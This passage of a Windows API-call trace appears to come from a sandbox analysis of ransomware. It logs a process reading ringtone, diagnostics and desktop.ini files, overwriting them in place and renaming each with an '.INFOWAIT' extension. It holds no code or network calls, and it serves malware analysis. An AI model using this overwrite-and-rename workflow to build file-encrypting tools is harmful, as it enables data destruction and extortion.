lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x20000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x20000, lpOverlapped=0x0) returned 1 [0132.103] CloseHandle (hObject=0xad4) returned 1 [0132.103] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-trace.etl" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-trace.etl") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-trace.etl" [0132.104] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-trace.etl", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-trace.etl.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-trace.etl.INFOWAIT" [0132.104] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-trace.etl" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-trace.etl"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-trace.etl.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-trace.etl.infowait")) returned 1 [0132.104] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.105] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.106] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.106] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0132.107] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x264 [0132.107] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.107] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.107] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x264, lpOverlapped=0x0) returned 1 [0132.109] VirtualAlloc (lpAddress=0x0, dwSize=0x264, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.109] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.109] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x264, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x264, lpOverlapped=0x0) returned 1 [0132.109] CloseHandle (hObject=0xad4) returned 1 [0132.110] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\desktop.ini" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\desktop.ini") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\desktop.ini" [0132.110] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\desktop.ini.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\desktop.ini.INFOWAIT" [0132.110] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\desktop.ini"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\desktop.ini.infowait")) returned 1 [0132.110] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.111] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.111] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.111] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 01.wma"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0132.111] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x31469 [0132.111] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.112] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.112] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0132.191] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0132.201] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.201] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0132.201] CloseHandle (hObject=0xad4) returned 1 [0132.201] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma" [0132.201] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma.INFOWAIT" [0132.201] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 01.wma"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 01.wma.infowait")) returned 1 [0132.202] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.203] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.204] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.204] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 02.wma"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0132.204] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x21fbf [0132.205] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.205] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.205] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x21fbf, lpOverlapped=0x0) returned 1 [0132.400] VirtualAlloc (lpAddress=0x0, dwSize=0x21fbf, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0132.409] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.409] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x21fbf, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x21fbf, lpOverlapped=0x0) returned 1 [0132.409] CloseHandle (hObject=0xad4) returned 1 [0132.409] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma" [0132.409] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma.INFOWAIT" [0132.410] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 02.wma"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 02.wma.infowait")) returned 1 [0132.410] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.411] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.412] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.412] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 03.wma"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0132.412] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x170f9 [0132.412] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.412] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.412] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x170f9, lpOverlapped=0x0) returned 1 [0132.510] VirtualAlloc (lpAddress=0x0, dwSize=0x170f9, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0132.516] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.516] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x170f9, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x170f9, lpOverlapped=0x0) returned 1 [0132.517] CloseHandle (hObject=0xad4) returned 1 [0132.517] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma" [0132.517] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma.INFOWAIT" [0132.517] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 03.wma"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 03.wma.infowait")) returned 1 [0132.518] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.519] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.519] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.519] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 04.wma"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0132.520] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3a039 [0132.520] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.520] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.521] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0132.539] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0132.549] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.549] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0132.550] CloseHandle (hObject=0xad4) returned 1 [0132.550] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma" [0132.550] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma.INFOWAIT" [0132.550] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 04.wma"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 04.wma.infowait")) returned 1 [0132.550] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.551] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.552] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.552] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 05.wma"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0132.552] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1b6e1 [0132.552] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.553] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.553] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1b6e1, lpOverlapped=0x0) returned 1 [0132.637] VirtualAlloc (lpAddress=0x0, dwSize=0x1b6e1, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0132.644] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.644] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x1b6e1, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x1b6e1, lpOverlapped=0x0) returned 1 [0132.645] CloseHandle (hObject=0xad4) returned 1 [0132.645] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma" [0132.645] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma.INFOWAIT" [0132.645] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 05.wma"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 05.wma.infowait")) returned 1 [0132.646] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.646] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.647] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.647] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 06.wma"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0132.648] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x170f9 [0132.648] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.648] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.649] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x170f9, lpOverlapped=0x0) returned 1 [0132.663] VirtualAlloc (lpAddress=0x0, dwSize=0x170f9, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0132.669] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.670] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x170f9, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x170f9, lpOverlapped=0x0) returned 1 [0132.670] CloseHandle (hObject=0xad4) returned 1 [0132.670] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma" [0132.670] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma.INFOWAIT" [0132.670] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 06.wma"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 06.wma.infowait")) returned 1 [0132.671] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.672] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.672] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.672] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 07.wma"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0132.673] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x170f9 [0132.673] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.673] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.673] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x170f9, lpOverlapped=0x0) returned 1 [0132.689] VirtualAlloc (lpAddress=0x0, dwSize=0x170f9, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0132.696] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.696] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x170f9, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x170f9, lpOverlapped=0x0) returned 1 [0132.696] CloseHandle (hObject=0xad4) returned 1 [0132.696] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma" [0132.696] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma.INFOWAIT" [0132.696] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 07.wma"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 07.wma.infowait")) returned 1 [0132.697] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.698] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.699] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.699] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 08.wma"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0132.700] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x21fbd [0132.700] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.700] SetFilePointer (in: hFile=0xad4, 